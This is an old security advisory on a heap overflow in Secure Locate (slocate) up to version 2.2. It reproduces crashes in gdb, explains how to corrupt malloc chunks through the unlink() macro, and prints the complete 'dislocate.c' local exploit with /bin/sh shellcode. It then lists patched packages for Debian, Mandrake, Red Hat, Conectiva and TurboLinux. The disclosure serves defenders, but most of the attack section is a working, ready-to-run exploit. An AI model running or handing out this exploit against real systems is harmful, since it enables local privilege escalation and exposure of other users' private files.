|
Vulnerability Secure Locate Affected Secure Locate Description Following is based on a paper by Michel "MaXX" Kaempf. From the Secure Locate manual page: slocate - Security Enhanced version of the GNU Locate Secure Locate provides a secure way to index and quickly search for files on your system. It uses incremental encoding just like GNU locate to compress its database to make searching faster, but it will also store file permissions and ownership so that users will not see files they do not have access to. From the Security Focus web site: Secure Locate maintains an index of the entire filesystem, including files only visible by root. The slocate binary is setgid "slocate" so it can read this index. If slocate is properly exploited, the location of sensitive files could be revealed to an unprivileged local user. A few days ago, zorgon discovered a problem in Secure Locate v2.1. When decoding an invalid database specified by a local user (thanks to the -d command line option), slocate dies with a segmentation violation: $ cp /usr/bin/slocate /tmp/slocate $ perl -e 'print "A" x 1337' > /tmp/foo $ gdb -q /tmp/slocate (gdb) run -d /tmp/foo bar Starting program: /tmp/slocate -d /tmp/foo bar Program received signal SIGSEGV, Segmentation fault. 0x17afd2 in realloc () from /lib/libc.so.6 (gdb) Secure Locate fails decoding a database containing a large number of 'A' characters... The problem looks like a classic buffer overflow, but there is something strange: slocate also fails decoding an invalid database containing only 6 or 5 'A' characters: $ cp /usr/bin/slocate /tmp/slocate $ perl -e 'print "A" x 6' > /tmp/foo $ gdb -q /tmp/slocate (gdb) run -d /tmp/foo bar Starting program: /tmp/slocate -d /tmp/foo bar Program received signal SIGSEGV, Segmentation fault. 0x17a876 in malloc () from /lib/libc.so.6 (gdb) $ cp /usr/bin/slocate /tmp/slocate $ perl -e 'print "A" x 5' > /tmp/foo $ gdb -q /tmp/slocate (gdb) run -d /tmp/foo bar Starting program: /tmp/slocate -d /tmp/foo bar Program received signal SIGSEGV, Segmentation fault. 0x17ab0d in free () from /lib/libc.so.6 (gdb) If Secure Locate dies while running one of the three functions realloc(), malloc() or free(), which are part of Doug Lea's malloc used by most Linux systems, it is certainly not because of bugs in these widely used functions, but because slocate overwrites the internal structures used by these functions (the malloc chunks, stored before and after the buffers allocated by malloc) while decoding the invalid databases. The guilty function in slocate, decode_db(), is part of the main.c module, and is reproduced below, but simplified for a better understanding of the problem and its future exploitation: #define MIN_BLK 64 char slevel = '1'; int decode_db( char * database, char * str ) { FILE * fd; char * codedpath = NULL; char * ptr; short code_num; int jump = 0; int grow = 0; int pathlen = 0; register char ch; int first = 1; fd = fopen( database, "r" ); (1) slevel = getc( fd ); (2) codedpath = malloc( MIN_BLK ); ptr = codedpath; (3) while ( (code_num = getc(fd)) != EOF ) { (4) if ( code_num > 127 ) (5) code_num = code_num - 256; jump = 0; if ( code_num < 0 ) grow += code_num; ptr += code_num; (6) pathlen = ptr - codedpath; while( !jump ) { (7) ch = getc( fd ); grow++; pathlen++; if ( grow == 64 ) { (8) realloc( codedpath, pathlen + MIN_BLK ); } (9) codedpath[ pathlen - 1 ] = ch; (10) if ( ch == '\0' ) jump = 1; } } } When decoding a database, decode_db() reads the first character of the file(1), but the value of this character does not affect the segmentation violation. decode_db() then allocates a 64 bytes buffer(2), and reads the second character of the database file, code_num(3). When considering the first run of the loop(3), pathlen is initialized to (codedpath + code_num - codedpath) == code_num(6), and this value represents the offset in the codedpath buffer where the characters read from the database file(7) are stored(9). Now remember: the second character of the foo file was 'A', or 65 when encoded in decimal. This is the offset in the codedpath buffer where the characters read from the foo file were stored, but, problem, the codedpath buffer was only 64 bytes. Now guess what is stored after the 64 bytes of the codedpath buffer, and is partially overwritten by decode_db()? A malloc chunk structure, of course, and that's why the next call to realloc(), malloc() or free() dies with a segmentation violation. The plan is simple: - the exploit builds an invalid database (without '\0' characters(10)) in order to carefully overwrite the internal structures used by realloc() ; - the first call to realloc()(8) should overwrite an interesting function pointer stored somewhere in the memory, the dynamic relocation record of the realloc() function for example, with a pointer to a shellcode built by the exploit and stored in the heap (not on the stack, in order to defeat non-executable stack patches) ; - the second call to realloc()(8) should execute the shellcode, and not the libc realloc() function. Thanks to the unlink() macro used by realloc(), it is possible to overwrite a function pointer with a pointer to the shellcode: #define unlink(P, BK, FD) \ { \ BK = P->bk; \ FD = P->fd; \ FD->bk = BK; \ BK->fd = FD; \ } \ When examining the libc realloc() function, the best path to an unlink() call is the following (simplified) path: struct malloc_chunk { /* Size of previous chunk (if free). */ unsigned int prev_size; /* Size in bytes, including overhead. */ unsigned int size; /* double links -- used only if free. */ struct malloc_chunk * fd; struct malloc_chunk * bk; }; typedef struct malloc_chunk * mchunkptr; void * realloc( void * oldmem, unsigned int bytes ) { unsigned int nb; /* padded request size */ mchunkptr oldp; /* chunk corresponding to oldmem */ unsigned int oldsize; /* its size */ mchunkptr next; /* next contiguous chunk after oldp */ unsigned int nextsize; /* its size */ unsigned int newsize = oldsize; mchunkptr bck; /* misc temp for linking */ mchunkptr fwd; /* misc temp for linking */ /* oldp = oldmem - 8 */ oldp = mem2chunk( oldmem ); /* oldsize = oldp->size & ~3 */ oldsize = chunksize( oldp ); /* nb = (bytes + 11) & ~7 */ if ( request2size(bytes, nb) ) ... /* if ( oldp->size & 2 ) */ (a) if ( chunk_is_mmapped(oldp) ) { ... } (b) if ( (long)(oldsize) < (long)(nb) ) { /* next = oldp + oldsize */ next = chunk_at_offset( oldp, oldsize ); /* if ( !((next + (next->size & ~1))->size & 1) ) */ (c) if ( next == top(ar_ptr) || !inuse(next) ) { /* nextsize = next->size & ~3; */ nextsize = chunksize( next ); if ( next == top(ar_ptr) ) { ... } (d) else if ( (long)(nextsize + newsize) >= (long)(nb) ) { unlink( next, bck, fwd ); If the exploit carefully overwrites the chunks used by realloc(), in order to satisfy the (a), (b), (c) and (d) conditions, the unlink() macro is reached and the magic happens. The exploit should build and store a fake next malloc_chunk somewhere in the memory, and overwrite the oldp malloc_chunk in order to force realloc() to use the fake next chunk and not the regular one. But in order to overwrite the oldp chunk, the exploit should be able to underflow the codedpath buffer allocated by decode_db()(2) (the oldp chunk is stored just before the codedpath buffer). And it *is* possible to underflow the codedpath buffer: if the second character of the database file is greater than 127(4), code_num (and therefore the offset in the codedpath buffer where the characters read from the database file are stored) becomes negative(5). If the exploit sets this second character to (256 - 4), the whole size member of the oldp chunk can be overwritten in order to point to the fake next chunk. The exploit stores the fake next chunk on the stack, in order to satisfy the four conditions required to reach unlink() and the fact that no '\0' character can be present in the database file: - the fake next chunk can be padded in order to begin at a 4 bytes aligned memory location (and therefore satisfies (a)) ; - the long integer corresponding to the distance between the heap and the stack, oldsize, is negative (and therefore satisfies (b)) and does not contain '\0' characters ; - if nextsize is equal to (nb - newsize) (and therefore satisfies (d)), it will point back to the heap and will not contain '\0' characters ; - at the heap location pointed to by nextsize, 0x00 bytes are stored (and therefore satisfy (c)). Eventually, the exploit has to carefully compute the fd and bk members of the fake next chunk in order to overwrite the realloc() dynamic relocation record, thanks to unlink(), with a pointer to the shellcode stored in the codedpath buffer. This shellcode should begin with a jump instruction in order to skip the garbage bytes introduced by unlink() at the beginning of the shellcode. This exploit will work against every Secure Locate version between 1.4 and 2.1, but not against Secure Locate v2.2. Why? Because of the new validate_db() function, which detects that the database file built by the exploit is invalid. But the exploit can build a database file that looks like a valid database, by adding the '0', '\0' and '\0' characters at the beginning of the file. The first two characters validate the database, and the third character resets the codedpath buffer filling(10). The other parts of the exploit remain the same, except the fact that the shellcode size limit is reduced by one. /* * MasterSecuritY <www.mastersecurity.fr> * * dislocate.c - Local i386 exploit in v1.3 < Secure Locate < v2.3 * Copyright (C) 2000 Michel "MaXX" Kaempf <maxx@mastersecurity.fr> * * Updated versions of this exploit and the corresponding advisory will * be made available at: * * ftp://maxx.via.ecp.fr/dislocate/ * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #define PATH "/tmp/path" char * shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; void usage( char * string ) { fprintf( stderr, "* Usage: %s filename realloc malloc\n", string ); fprintf( stderr, "\n" ); fprintf( stderr, "* Example: %s /usr/bin/slocate 0x0804e7b0 0x08050878\n", string ); fprintf( stderr, "\n" ); fprintf( stderr, "* Realloc:\n" ); fprintf( stderr, " $ objdump -R /usr/bin/slocate | grep realloc\n" ); fprintf( stderr, "\n" ); fprintf( stderr, "* Malloc:\n" ); fprintf( stderr, " $ %s foobar 0x12121212 0x42424242\n", string ); fprintf( stderr, " $ cp /usr/bin/slocate /tmp\n" ); fprintf( stderr, " $ ltrace /tmp/slocate -d %s foobar 2>&1 | grep 'malloc(64)'\n", PATH ); fprintf( stderr, " $ rm %s\n", PATH ); fprintf( stderr, "\n" ); } int zero( unsigned int ui ) { if ( !(ui & 0xff000000) || !(ui & 0x00ff0000) || !(ui & 0x0000ff00) || !(ui & 0x000000ff) ) { return( -1 ); } return( 0 ); } int main( int argc, char * argv[] ) { unsigned int ui_realloc; unsigned int ui_malloc; char path[1337]; char next[1337]; char * execve_argv[] = { NULL, "-d", PATH, next, NULL }; int fd; unsigned int p_next; unsigned int ui; if ( argc != 4 ) { usage( argv[0] ); return( -1 ); } execve_argv[0] = argv[1]; ui_realloc = (unsigned int)strtoul( argv[2], NULL, 0 ); ui_malloc = (unsigned int)strtoul( argv[3], NULL, 0 ); strcpy( next, "ppppssssffffbbbb" ); p_next = (0xc0000000 - 4) - (strlen(execve_argv[0]) + 1) - (strlen(next) + 1); for ( ui = 0; ui < p_next - (p_next & ~3); ui++ ) { strcat( next, "X" ); } p_next = (0xc0000000 - 4) - (strlen(execve_argv[0]) + 1) - (strlen(next) + 1); ui = 0; *((unsigned int *)(&(next[ui]))) = (unsigned int)(-1); ui += 4; *((unsigned int *)(&(next[ui]))) = ((ui_malloc - 8) + 136) - p_next; if ( zero( *((unsigned int *)(&(next[ui]))) ) ) { fprintf( stderr, "debug: next->size == 0x%08x;\n", *((unsigned int *)(&(next[ui]))) ); return( -1 ); } ui += 4; *((unsigned int *)(&(next[ui]))) = ui_realloc - 12; if ( zero( *((unsigned int *)(&(next[ui]))) ) ) { fprintf( stderr, "debug: next->fd == 0x%08x;\n", *((unsigned int *)(&(next[ui]))) ); return( -1 ); } ui += 4; *((unsigned int *)(&(next[ui]))) = ui_malloc; if ( zero( *((unsigned int *)(&(next[ui]))) ) ) { fprintf( stderr, "debug: next->bk == 0x%08x;\n", *((unsigned int *)(&(next[ui]))) ); return( -1 ); } ui = 0; path[ui] = (char)(256 - 4); ui += 1; *((unsigned int *)(&(path[ui]))) = p_next - (ui_malloc - 8); if ( zero( *((unsigned int *)(&(path[ui]))) ) ) { fprintf( stderr, "debug: oldp->size == 0x%08x;\n", *((unsigned int *)(&(path[ui]))) ); return( -1 ); } ui += 4; path[ui] = 0; strcat( path, "\xeb\x0axxyyyyzzzz" ); strcat( path, shellcode ); fd = open( PATH, O_WRONLY|O_CREAT|O_EXCL, S_IRWXU ); if ( fd == -1 ) { fprintf( stderr, "debug: open( \"%s\", O_WRONLY|O_CREAT|O_EXCL, S_IRWXU ) == -1;\n", PATH ); return( -1 ); } write( fd, "0", sizeof("0") ); write( fd, "", sizeof("") ); write( fd, path, strlen(path) ); close( fd ); execve( execve_argv[0], execve_argv, NULL ); return( -1 ); } Solution Upgrade to Secure Locate v2.3, available at: ftp://ftp.mkintraweb.com/pub/linux/slocate/ The author, Kevin Lindsay, was contacted and confirmed Secure Locate v2.3 is not affected by the vulnerability described in this advisory. Every Secure Locate version, from 1.4 (included) to 2.2 (included), is affected by the problem, and vulnerable to the exploit described above. Olaf Kirch added following. 2.3 is still vulnerable to other problems, however: $ slocate -U /dev -o $PWD/database $ ls -l database -rw-r----- 1 okir slocate 3137 Nov 28 10:55 database There's not much you can do with group slocate privilege except getting read access to the entire database, and discover that your co-worker is hiding S&M GIFs somewhere in his home directory (gasp!). That is, at least if your slocate binary and database directory are not writable by group slocate. If they are, you're in trouble. Still, being called "secure" locate it should probably be a little less liberal with its privileges. For Debian: http://security.debian.org/dists/stable/updates/main/source/slocate_2.4-2potato1.diff.gz http://security.debian.org/dists/stable/updates/main/source/slocate_2.4-2potato1.dsc http://security.debian.org/dists/stable/updates/main/source/slocate_2.4.orig.tar.gz http://security.debian.org/dists/stable/updates/main/binary-alpha/slocate_2.4-2potato1_alpha.deb http://security.debian.org/dists/stable/updates/main/binary-arm/slocate_2.4-2potato1_arm.deb http://security.debian.org/dists/stable/updates/main/binary-m68k/slocate_2.4-2potato1_m68k.deb http://security.debian.org/dists/stable/updates/main/binary-i386/slocate_2.4-2potato1_i386.deb http://security.debian.org/dists/stable/updates/main/binary-powerpc/slocate_2.4-2potato1_powerpc.deb http://security.debian.org/dists/stable/updates/main/binary-sparc/slocate_2.4-2potato1_sparc.deb For Linux-Mandrake: Linux-Mandrake 6.0: 6.0/RPMS/slocate-2.4-1.2mdk.i586.rpm 6.0/SRPMS/slocate-2.4-1.2mdk.src.rpm Linux-Mandrake 6.1: 6.1/RPMS/slocate-2.4-1.2mdk.i586.rpm 6.1/SRPMS/slocate-2.4-1.2mdk.src.rpm Linux-Mandrake 7.0: 7.0/RPMS/slocate-2.4-1.2mdk.i586.rpm 7.0/SRPMS/slocate-2.4-1.2mdk.src.rpm Linux-Mandrake 7.1: 7.1/RPMS/slocate-2.4-1.2mdk.i586.rpm 7.1/SRPMS/slocate-2.4-1.2mdk.src.rpm Linux-Mandrake 7.2: 7.2/RPMS/slocate-2.4-1.1mdk.i586.rpm 7.2/SRPMS/slocate-2.4-1.1mdk.src.rpm For RedHat: ftp://updates.redhat.com//6.0/SRPMS/slocate-2.4-0.6.x.src.rpm ftp://updates.redhat.com//6.0/alpha/slocate-2.4-0.6.x.alpha.rpm ftp://updates.redhat.com//6.0/i386/slocate-2.4-0.6.x.i386.rpm ftp://updates.redhat.com//6.0/sparc/slocate-2.4-0.6.x.sparc.rpm ftp://updates.redhat.com//6.1/SRPMS/slocate-2.4-0.6.x.src.rpm ftp://updates.redhat.com//6.1/alpha/slocate-2.4-0.6.x.alpha.rpm ftp://updates.redhat.com//6.1/i386/slocate-2.4-0.6.x.i386.rpm ftp://updates.redhat.com//6.1/sparc/slocate-2.4-0.6.x.sparc.rpm ftp://updates.redhat.com//6.2/SRPMS/slocate-2.4-0.6.x.src.rpm ftp://updates.redhat.com//6.2/SRPMS/slocate-2.4-1.src.rpm ftp://updates.redhat.com//6.2/alpha/slocate-2.4-0.6.x.alpha.rpm ftp://updates.redhat.com//6.2/i386/slocate-2.4-0.6.x.i386.rpm ftp://updates.redhat.com//6.2/sparc/slocate-2.4-0.6.x.sparc.rpm ftp://updates.redhat.com//7.0/SRPMS/slocate-2.4-1.src.rpm ftp://updates.redhat.com//7.0/alpha/slocate-2.4-1.alpha.rpm ftp://updates.redhat.com//7.0/i386/slocate-2.4-1.i386.rpm For Conectiva Linux: ftp://atualizacoes.conectiva.com.br/4.0/SRPMS/slocate-2.5-2cl.src.rpm ftp://atualizacoes.conectiva.com.br/4.0/i386/slocate-2.5-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.0es/SRPMS/slocate-2.5-2cl.src.rpm ftp://atualizacoes.conectiva.com.br/4.0es/i386/slocate-2.5-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.1/SRPMS/slocate-2.5-2cl.src.rpm ftp://atualizacoes.conectiva.com.br/4.1/i386/slocate-2.5-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.2/SRPMS/slocate-2.5-2cl.src.rpm ftp://atualizacoes.conectiva.com.br/4.2/i386/slocate-2.5-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/5.0/SRPMS/slocate-2.5-2cl.src.rpm ftp://atualizacoes.conectiva.com.br/5.0/i386/slocate-2.5-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/5.1/SRPMS/slocate-2.5-2cl.src.rpm ftp://atualizacoes.conectiva.com.br/5.1/i386/slocate-2.5-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/6.0/SRPMS/slocate-2.5-2cl.src.rpm ftp://atualizacoes.conectiva.com.br/6.0/RPMS/slocate-2.5-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/SRPMS/slocate-2.5-2cl.src.rpm ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/i386/slocate-2.5-2cl.i386.rpm ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/SRPMS/slocate-2.5-2cl.src.rpm ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/i386/slocate-2.5-2cl.i386.rpm For TurboLinux: ftp://ftp.turbolinux.com/pub/updates/6.0/security/slocate-2.3-2.i386.rpm ftp://ftp.turbolinux.com/pub/updates/6.0/SRPMS/slocate-2.3-2.src.rpm